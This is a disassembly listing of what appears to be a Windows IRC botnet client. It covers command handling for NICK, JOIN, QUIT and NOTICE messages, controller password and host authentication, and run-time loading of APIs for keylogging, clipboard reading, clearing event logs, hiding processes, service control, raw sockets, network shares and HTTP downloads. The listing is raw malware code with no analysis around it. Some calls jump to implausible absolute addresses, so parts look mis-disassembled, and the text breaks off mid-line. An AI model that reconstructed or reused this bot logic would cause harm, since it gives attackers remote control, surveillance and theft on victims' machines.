jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 2690579h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] nop call near ptr 26A0E69h push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2690579h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA28 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2690579h locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj call near ptr 2690CE2h nop mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0C66h mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 2690CE2h mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 2690CE2h mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 2690CE2h mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj call near ptr 2690CE2h nop mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj call near ptr 2690CE2h nop mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj call near ptr 2690CE2h nop mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr ; 